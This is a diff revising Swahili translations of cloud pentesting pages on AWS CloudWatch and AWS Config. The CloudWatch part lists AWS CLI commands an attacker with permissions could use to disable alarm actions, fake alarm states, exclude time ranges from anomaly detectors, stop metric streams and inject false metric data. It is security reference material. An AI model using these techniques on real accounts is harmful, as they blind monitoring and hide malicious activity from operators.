**katika** mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\ CloudWatch Log Event ina **kikomo cha ukubwa wa 256KB kwa kila mstari wa log**.\ Inaweza kuweka **alarms za azimio la juu**, kuonyesha **logs** na **metrics** kwa pamoja, kuchukua hatua za kiotomatiki, kutatua matatizo, na kugundua maarifa ili kuboresha programu. @@ -14,7 +14,7 @@ Unaweza kufuatilia kwa mfano logs kutoka CloudTrail. Matukio yanayofuatiliwa: - Kuanzisha, Kusitisha, kuanzisha upya na kumaliza EC2 instances - Mabadiliko ya Sera za Usalama ndani ya IAM na S3 - Jaribio la kuingia lililoshindwa kwenye AWS Management Console -- API calls ambazo zilisababisha mamlaka kushindwa +- API calls ambazo zilisababisha kukataliwa kwa idhini - Filters za kutafuta katika cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## Key concepts @@ -27,7 +27,7 @@ Namespace ni kontena la metrics za CloudWatch. Inasaidia kuainisha na kutenga me ### Metrics -Metrics ni data points zinazokusanywa kwa muda zinazoakisi utendaji au matumizi ya rasilimali za AWS. Metrics zinaweza kukusanywa kutoka kwa huduma za AWS, programu za kawaida, au ushirikiano wa wahusika wengine. +Metrics ni data points zinazokusanywa kwa muda zinazoakisi utendaji au matumizi ya rasilimali za AWS. Metrics zinaweza kukusanywa kutoka kwa huduma za AWS, programu za kawaida, au ushirikiano wa wahusika wa tatu. - **Mfano**: CPUUtilization, NetworkIn, DiskReadOps. @@ -53,7 +53,7 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n ### Dashboard -**Dashboards za CloudWatch** zinatoa **mitazamo inayoweza kubadilishwa ya metrics zako za AWS CloudWatch**. Inawezekana kuunda na kuunda dashboards ili kuonyesha data na kufuatilia rasilimali katika mtazamo mmoja, ikichanganya metrics tofauti kutoka kwa huduma mbalimbali za AWS. +**CloudWatch Dashboards** hutoa **mitazamo inayoweza kubadilishwa ya metrics zako za AWS CloudWatch**. Inawezekana kuunda na kuunda dashboards ili kuonyesha data na kufuatilia rasilimali katika mtazamo mmoja, ikichanganya metrics tofauti kutoka kwa huduma mbalimbali za AWS. **Vipengele Muhimu**: @@ -66,25 +66,25 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n ### Metric Stream and Metric Data -**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kutiririsha metrics za CloudWatch kwa mahali unayochagua kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kwa kutumia zana za nje ya AWS. +**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kutiririsha metrics za CloudWatch kwa mahali unayochagua kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kutumia zana za nje ya AWS. -**Data za Metric** ndani ya Metric Streams inahusu vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, n.k., kwa rasilimali za AWS. +**Metric Data** ndani ya Metric Streams inahusisha vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, n.k., kwa rasilimali za AWS. **Mfano wa Matumizi**: -- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wengine kwa uchambuzi wa hali ya juu. +- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wa tatu kwa uchambuzi wa hali ya juu. - Kuhifadhi metrics katika Amazon S3 bucket kwa uhifadhi wa muda mrefu na kufuata sheria. ### Alarm -**Alarms za CloudWatch** zinafuatilia metrics zako na kufanya hatua kulingana na vigezo vilivyowekwa awali. Wakati metric inavunja kigezo, alarm inaweza kufanya hatua moja au zaidi kama kutuma arifa kupitia SNS, kuanzisha sera ya auto-scaling, au kuendesha kazi ya AWS Lambda. +**CloudWatch Alarms** hufuatilia metrics zako na kufanya hatua kulingana na vigezo vilivyowekwa awali. Wakati metric inavunja kigezo, alarm inaweza kufanya hatua moja au zaidi kama kutuma arifa kupitia SNS, kuanzisha sera ya auto-scaling, au kuendesha kazi ya AWS Lambda. **Vipengele Muhimu**: -- **Kigezo**: Thamani ambayo alarm inasababisha. -- **Muda wa Tathmini**: Idadi ya muda ambayo data inatathminiwa. -- **Data points za Alarm**: Idadi ya muda ambapo kigezo kimefikiwa kinachohitajika kuanzisha alarm -- **Hatua**: Kinatokea nini wakati hali ya alarm inasababisha (mfano, arifu kupitia SNS). +- **Threshold**: Thamani ambayo alarm inasababisha. +- **Evaluation Periods**: Idadi ya vipindi ambavyo data inakaguliwa. +- **Datapoints to Alarm**: Idadi ya vipindi vilivyofikia kigezo kinachohitajika kuanzisha alarm +- **Actions**: Nini kinatokea wakati hali ya alarm inasababisha (mfano, arifu kupitia SNS). **Mfano wa Matumizi**: @@ -92,11 +92,11 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n ### Anomaly Detectors -**Anomaly Detectors** hutumia kujifunza kwa mashine kugundua kiotomatiki anomalies katika metrics zako. Unaweza kutumia ugunduzi wa anomalies kwa metric yoyote ya CloudWatch ili kutambua mabadiliko kutoka kwa mifumo ya kawaida ambayo yanaweza kuashiria matatizo. +**Anomaly Detectors** hutumia kujifunza kwa mashine kugundua kiotomatiki anomalies katika metrics zako. Unaweza kutumia ugunduzi wa anomalies kwa metric yoyote ya CloudWatch ili kubaini tofauti kutoka kwa mifumo ya kawaida ambayo inaweza kuashiria matatizo. **Vipengele Muhimu**: -- **Kufundisha Mfano**: CloudWatch hutumia data za kihistoria kufundisha mfano na kuanzisha tabia ya kawaida inavyoonekana. +- **Model Training**: CloudWatch hutumia data ya kihistoria kufundisha mfano na kuanzisha ni nini tabia ya kawaida inaonekana. - **Anomaly Detection Band**: Uwakilishi wa kuona wa anuwai inayotarajiwa ya thamani kwa metric. **Mfano wa Matumizi**: @@ -105,13 +105,13 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n ### Insight Rules and Managed Insight Rules -**Insight Rules** zinakuwezesha kutambua mwenendo, kugundua spikes, au mifumo mingine ya kupendeza katika data yako ya metric kwa kutumia **mifumo ya kimaadili yenye nguvu** kufafanua hali ambazo hatua zinapaswa kuchukuliwa. Kanuni hizi zinaweza kusaidia kutambua anomalies au tabia zisizo za kawaida katika utendaji na matumizi ya rasilimali zako. +**Insight Rules** zinakuwezesha kubaini mwelekeo, kugundua spikes, au mifumo mingine ya kupendeza katika data yako ya metric kwa kutumia **mifumo ya kimaadili yenye nguvu** kufafanua hali ambazo hatua zinapaswa kuchukuliwa. Kanuni hizi zinaweza kusaidia kubaini anomalies au tabia zisizo za kawaida katika utendaji na matumizi ya rasilimali zako. **Managed Insight Rules** ni **kanuni za uelewa zilizowekwa awali zinazotolewa na AWS**. Zimeundwa kufuatilia huduma maalum za AWS au matumizi ya kawaida na zinaweza kuwezeshwa bila kuhitaji usanidi wa kina. **Mfano wa Matumizi**: -- Kufuatilia Utendaji wa RDS: Weka kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kupunguza kiotomatiki. +- Kufuatilia Utendaji wa RDS: Wezesha kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kiotomatiki za kupunguza. ### CloudWatch Logs @@ -119,21 +119,21 @@ Inaruhusu **kujumlisha na kufuatilia logs kutoka kwa programu** na mifumo kutoka **Vipengele**: -| **Log Group** | **mkusanyiko wa log streams** zinazoshiriki retention, ufuatiliaji, na mipangilio ya udhibiti wa ufikiaji | +| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | Mfululizo wa **matukio ya log** yanayoshiriki **chanzo kimoja** | -| **Subscription Filters** | Mwelekeo wa **kuchuja pattern inayolingana na matukio** katika log group maalum, kuyatumia kwa Kinesis Data Firehose stream, Kinesis stream, au kazi ya Lambda | +| **Log Stream** | A sequence of **log events** that share the **same source** | +| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | ### CloudWatch Monitoring & Events -CloudWatch **misingi** inakusanya data **kila dakika 5** (ile **ya kina** inafanya hivyo **kila dakika 1**). Baada ya ukusanyaji, in **angalia vigezo vya alarms** ikiwa inahitaji kuanzisha moja.\ -Katika hali hiyo, CloudWatch inaweza kuwa tayari kutuma tukio na kufanya hatua za kiotomatiki (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **misingi** inakusanya data **kila dakika 5** (ile **ya kina** inafanya hivyo **kila dakika 1**). Baada ya kukusanya, in **akagua vigezo vya alarms** ikiwa inahitaji kuanzisha moja.\ +Katika hali hiyo, CloudWatch inaweza kuwa tayari kutuma tukio na kufanya baadhi ya hatua za kiotomatiki (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) ### Agent Installation Unaweza kusakinisha agents ndani ya mashine zako/containers ili kutuma logs kiotomatiki nyuma kwa CloudWatch. -- **Unda** **role** na **unganishi** kwa **instance** yenye ruhusa inayoruhusu CloudWatch kukusanya data kutoka kwa instances pamoja na kuingiliana na AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Unda** **role** na **unganishi** nayo **instance** yenye ruhusa zinazoruhusu CloudWatch kukusanya data kutoka kwa instances pamoja na kuingiliana na AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) - **Pakua** na **sakinisha** **agent** kwenye EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Unaweza kuipakua kutoka ndani ya EC2 au kuisakinisha kiotomatiki kwa kutumia AWS System Manager ukichagua kifurushi cha AWS-ConfigureAWSPackage - **Sanidi** na **anzisha** CloudWatch Agent @@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -The following example shows how to make a metric alarm ineffective: +Mfano ufuatao unaonyesha jinsi ya kufanya alama ya kipimo isifanye kazi: -- Alarm hii ya metric inafuatilia matumizi ya wastani ya CPU ya EC2 instance maalum, inakadiria metric kila sekunde 300 na inahitaji vipindi 6 vya tathmini (dakika 30 jumla). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alarm itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa. -- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatosha siku 1), na Datapoints kwa Alarm kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa juu ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alarm. +- Alama hii ya kipimo inafuatilia matumizi ya wastani ya CPU ya mfano maalum wa EC2, inakadiria kipimo kila sekunde 300 na inahitaji vipindi 6 vya tathmini (dakika 30 jumla). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alama itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa. +- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatoshana na siku 1), na Data Points kwa Alama kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa zaidi ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alama. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -283,26 +283,26 @@ The following example shows how to make a metric alarm ineffective: ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Kwa kufuta hatua za alarm, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki kutokea wakati hali ya alarm inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za auto-scaling. Kuwezesha au kurejesha hatua za alarm kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kurejesha hatua zilizokuwa zimezimwa awali au kwa kubadilisha ni hatua zipi zinazochochewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya tukio. +Kwa kufuta hatua za alama, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki yasitokee wakati hali ya alama inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za kujiendesha. Kuwezesha au kurejesha hatua za alama kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kuanzisha tena hatua zilizokuwa zimezuiliwa au kwa kubadilisha ni hatua zipi zinazochochewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya matukio. -Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alarm, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazofanyika au kushindwa kwa mifumo muhimu. +Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alama, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya na kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazendelea au kushindwa kwa mifumo muhimu. -- Ikiwa unatumia **`SetAlarmState`** kwenye alarm ya composite, alarm ya composite haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa unasasisha usanidi wake. +- Ikiwa unatumia **`SetAlarmState`** kwenye alama ya pamoja, alama ya pamoja haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa unasasisha usanidi wake. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokugundulika, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi. +**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokea bila kugundulika, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu kwa mifumo isiyo ya kawaida au anomalies katika data ya metriki. Kwa kufuta waandishi wa anomalies waliopo, mshambuliaji angeweza kuzima mifumo muhimu ya arifa; na kwa kuunda au kubadilisha, angeweza ama kuharibu usanidi au kuunda positives za uongo ili kuhamasisha au kuzidi uwezo wa ufuatiliaji. +Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu mifumo isiyo ya kawaida au anomalies katika data ya metriki. Kwa kufuta waandishi wa anomalies waliopo, mshambuliaji angeweza kuzima mitambo muhimu ya arifa; na kwa kuunda au kubadilisha, ingeweza ama kuharibu usanidi au kuunda positives za uongo ili kuhamasisha au kuzidi ufuatiliaji. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye kazi. Kipimo hiki cha kugundua anomali kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipimo cha kugundua anomali hakichambui au kuonya kuhusu data yoyote muhimu wakati huo. +Mfano ufuatao unaonyesha jinsi ya kufanya kipima anomali cha metriki kisifanye kazi. Kipima anomali hiki kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipima anomali hakichambui au kutoa tahadhari juu ya data yoyote muhimu wakati huo. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -360,11 +360,11 @@ Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` -**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa maono na taarifa za kupotosha. +**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa mwonekano na taarifa zisizo sahihi. ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Sheria za maarifa zinatumika kugundua tofauti, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za maarifa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo ukiwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za maarifa ili kuzalisha data za kupotosha au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni. +Sheria za uelewa zinatumika kugundua tofauti, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za uelewa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo kuwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za uelewa ili kuzalisha data zisizo sahihi au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Kwa kuzima sheria muhimu za maarifa, mshambuliaji anaweza kwa ufanisi kuipofusha shirika kuhusu viashiria muhimu vya utendaji na usalama. Kinyume chake, kwa kuwezesha au kuunda sheria za kupotosha, inaweza kuwa inawezekana kuzalisha data za uwongo, kuunda kelele, au kuficha shughuli mbaya. +Kwa kuzima sheria muhimu za ufahamu, mshambuliaji anaweza kwa ufanisi kuipofusha shirika kuhusu viashiria muhimu vya utendaji na usalama. Kinyume chake, kwa kuwezesha au kuunda sheria za kupotosha, inaweza kuwa inawezekana kuzalisha data za uwongo, kuunda kelele, au kuficha shughuli mbaya. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uadilifu wa data: +Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uaminifu wa data: -- **Unda mitiririko ya uhalifu**: Unda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa. -- **Manipulasi ya rasilimali**: Uundaji wa mitiririko mipya ya metriki yenye data nyingi unaweza kuzalisha kelele nyingi, kusababisha arifa zisizo sahihi, kuficha masuala halisi. +- **Kuunda mitiririko ya uhalifu**: Kuunda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa. +- **Manipulering ya rasilimali**: Uundaji wa mitiririko mipya ya metriki yenye data nyingi unaweza kuzalisha kelele nyingi, kusababisha arifa zisizo sahihi, kuficha masuala halisi. - **Kuvuruga ufuatiliaji**: Kufuta mitiririko ya metriki, washambuliaji wangeweza kuvuruga mtiririko wa data za ufuatiliaji. Kwa njia hii, shughuli zao za uhalifu zingefichwa kwa ufanisi. -Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mtiririko wa metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na matumizi kabisa. +Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mitiririko ya metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na matumizi kabisa. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format @@ -399,11 +399,11 @@ Mfano wa kuongeza data inayohusiana na 70% ya matumizi ya CPU juu ya mfano fulan ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa mtiririko wa data za ufuatiliaji, kuathiri ugunduzi wa anomali na matukio, upotoshaji wa rasilimali na kuongezeka kwa gharama kutokana na uundaji wa mitiririko ya metriki kupita kiasi. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa mtiririko wa data za ufuatiliaji, kuathiri ugunduzi wa anomali na matukio, upotoshaji wa rasilimali na kuongezeka kwa gharama kutokana na uundaji wa mtiririko wa metriki nyingi kupita kiasi. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -Mshambuliaji angeweza kudhibiti mtiririko wa data za metriki zilizoathiriwa (mtiririko wowote wa data ikiwa hakuna vizuizi vya rasilimali). Kwa ruhusa **`cloudwatch:StopMetricStreams`**, washambuliaji wangeweza kuficha shughuli zao mbaya kwa kusitisha mitiririko ya metriki muhimu. +Mshambuliaji angeweza kudhibiti mtiririko wa data za metriki zilizoathiriwa (mtiririko wowote wa data ikiwa hakuna kikomo cha rasilimali). Kwa ruhusa **`cloudwatch:StopMetricStreams`**, washambuliaji wangeweza kuficha shughuli zao mbaya kwa kusitisha mtiririko wa metriki muhimu. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 94134513a..bf35c344c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,21 +4,21 @@ ## AWS Config -AWS Config **inas capture mabadiliko ya rasilimali**, hivyo mabadiliko yoyote kwa rasilimali inayoungwa mkono na Config yanaweza kurekodiwa, ambayo it **arekodi kile kilichobadilika pamoja na metadata nyingine muhimu, yote yakiwa ndani ya faili inayojulikana kama kipengele cha usanidi**, CI. Huduma hii ni **maalum kwa eneo**. +AWS Config **huhifadhi mabadiliko ya rasilimali**, hivyo mabadiliko yoyote kwa rasilimali inayoungwa mkono na Config yanaweza kurekodiwa, ambayo it **rekodi kile kilichobadilika pamoja na metadata nyingine muhimu, yote yakiwa ndani ya faili inayojulikana kama kipengele cha usanidi**, CI. Huduma hii ni **maalum kwa eneo**. -Kipengele cha usanidi au **CI** kama inavyojulikana, ni sehemu muhimu ya AWS Config. Inajumuisha faili ya JSON ambayo **ina habari za usanidi, habari za uhusiano na metadata nyingine kama muonekano wa picha ya wakati fulani wa rasilimali inayoungwa mkono**. Taarifa zote ambazo AWS Config inaweza kurekodi kwa rasilimali zinakamatwa ndani ya CI. CI inaundwa **kila wakati** rasilimali inayoungwa mkono inapopewa mabadiliko yoyote kwenye usanidi wake. Mbali na kurekodi maelezo ya rasilimali iliyoathirika, AWS Config pia itarekodi CIs kwa rasilimali zozote zinazohusiana moja kwa moja ili kuhakikisha mabadiliko hayo hayakuhusisha rasilimali hizo pia. +Kipengele cha usanidi au **CI** kama kinavyojulikana, ni sehemu muhimu ya AWS Config. Inajumuisha faili ya JSON ambayo **ina habari za usanidi, habari za uhusiano na metadata nyingine kama muonekano wa picha ya wakati wa mabadiliko ya rasilimali inayoungwa mkono**. Taarifa zote ambazo AWS Config inaweza kurekodi kwa rasilimali zinarekodiwa ndani ya CI. CI inaundwa **kila wakati** rasilimali inayoungwa mkono inapopewa mabadiliko yoyote kwenye usanidi wake. Mbali na kurekodi maelezo ya rasilimali iliyoathirika, AWS Config pia itarekodi CIs kwa rasilimali zozote zinazohusiana moja kwa moja ili kuhakikisha mabadiliko hayo hayakuharibu rasilimali hizo pia. - **Metadata**: Inajumuisha maelezo kuhusu kipengele cha usanidi chenyewe. Kitambulisho cha toleo na kitambulisho cha usanidi, ambacho kinatambulisha kipekee CI. Taarifa nyingine zinaweza kujumuisha MD5Hash inayokuruhusu kulinganisha CIs nyingine ambazo tayari zimeandikwa dhidi ya rasilimali hiyo hiyo. -- **Attributes**: Hii inashikilia habari za kawaida **za sifa dhidi ya rasilimali halisi**. Ndani ya sehemu hii, pia tuna kitambulisho cha kipekee cha rasilimali, na vitambulisho vyovyote vya thamani muhimu vinavyohusishwa na rasilimali hiyo. Aina ya rasilimali pia inatajwa. Kwa mfano, ikiwa hii ilikuwa CI kwa mfano wa EC2, aina za rasilimali zilizoorodheshwa zinaweza kuwa kiunganishi cha mtandao, au anwani ya IP elastic kwa mfano huo wa EC2. -- **Relationships**: Hii inashikilia habari za **uhusiano wowote uliounganishwa ambao rasilimali inaweza kuwa nao**. Hivyo ndani ya sehemu hii, itonyesha maelezo wazi ya uhusiano wowote na rasilimali nyingine ambazo rasilimali hii ilikuwa nayo. Kwa mfano, ikiwa CI ilikuwa kwa mfano wa EC2, sehemu ya uhusiano inaweza kuonyesha kiunganishi kwa VPC pamoja na subnet ambayo mfano wa EC2 unakaa. -- **Current configuration:** Hii itaonyesha habari sawa ambayo ingezalishwa ikiwa ungeweza kufanya wito wa API wa kuelezea au orodha uliofanywa na AWS CLI. AWS Config inatumia wito sawa wa API kupata habari sawa. -- **Related events**: Hii inahusiana na AWS CloudTrail. Hii itaonyesha **kitambulisho cha tukio la AWS CloudTrail kinachohusiana na mabadiliko yaliyosababisha uundaji wa CI hii**. Kuna CI mpya inayoundwa kwa kila mabadiliko yaliyofanywa dhidi ya rasilimali. Kama matokeo, vitambulisho tofauti vya tukio la CloudTrail vitaundwa. +- **Attributes**: Hii inashikilia habari za kawaida za **attributes dhidi ya rasilimali halisi**. Ndani ya sehemu hii, pia tuna kitambulisho cha kipekee cha rasilimali, na vitambulisho vyovyote vya thamani muhimu vinavyohusishwa na rasilimali hiyo. Aina ya rasilimali pia inatajwa. Kwa mfano, ikiwa hii ilikuwa CI kwa mfano wa EC2, aina za rasilimali zilizoorodheshwa zinaweza kuwa kiunganishi cha mtandao, au anwani ya IP elastic kwa mfano huo wa EC2. +- **Relationships**: Hii inashikilia habari za **uhusiano wowote ambao rasilimali inaweza kuwa nao**. Hivyo ndani ya sehemu hii, itonyesha maelezo wazi ya uhusiano wowote na rasilimali nyingine ambazo rasilimali hii ilikuwa nayo. Kwa mfano, ikiwa CI ilikuwa kwa mfano wa EC2, sehemu ya uhusiano inaweza kuonyesha kiunganishi kwa VPC pamoja na subnet ambayo mfano wa EC2 unakaa. +- **Current configuration:** Hii itaonyesha habari sawa ambayo ingezalishwa ikiwa ungeweza kufanya maelezo au orodha ya wito wa API uliofanywa na AWS CLI. AWS Config inatumia wito sawa wa API kupata habari sawa. +- **Related events**: Hii inahusiana na AWS CloudTrail. Hii itaonyesha **kitambulisho cha tukio la AWS CloudTrail kinachohusiana na mabadiliko yaliyosababisha uundaji wa CI hii**. Kuna CI mpya inayoundwa kwa kila mabadiliko yanayofanywa dhidi ya rasilimali. Kama matokeo, vitambulisho tofauti vya tukio la CloudTrail vitaundwa. **Historia ya Usanidi**: Inawezekana kupata historia ya usanidi wa rasilimali kutokana na vipengele vya usanidi. Historia ya usanidi inatolewa kila masaa 6 na ina CIs zote za aina fulani ya rasilimali. **Mito ya Usanidi**: Vipengele vya usanidi vinatumwa kwa SNS Topic ili kuwezesha uchambuzi wa data. -**Picha za Usanidi**: Vipengele vya usanidi vinatumika kuunda picha ya wakati fulani ya rasilimali 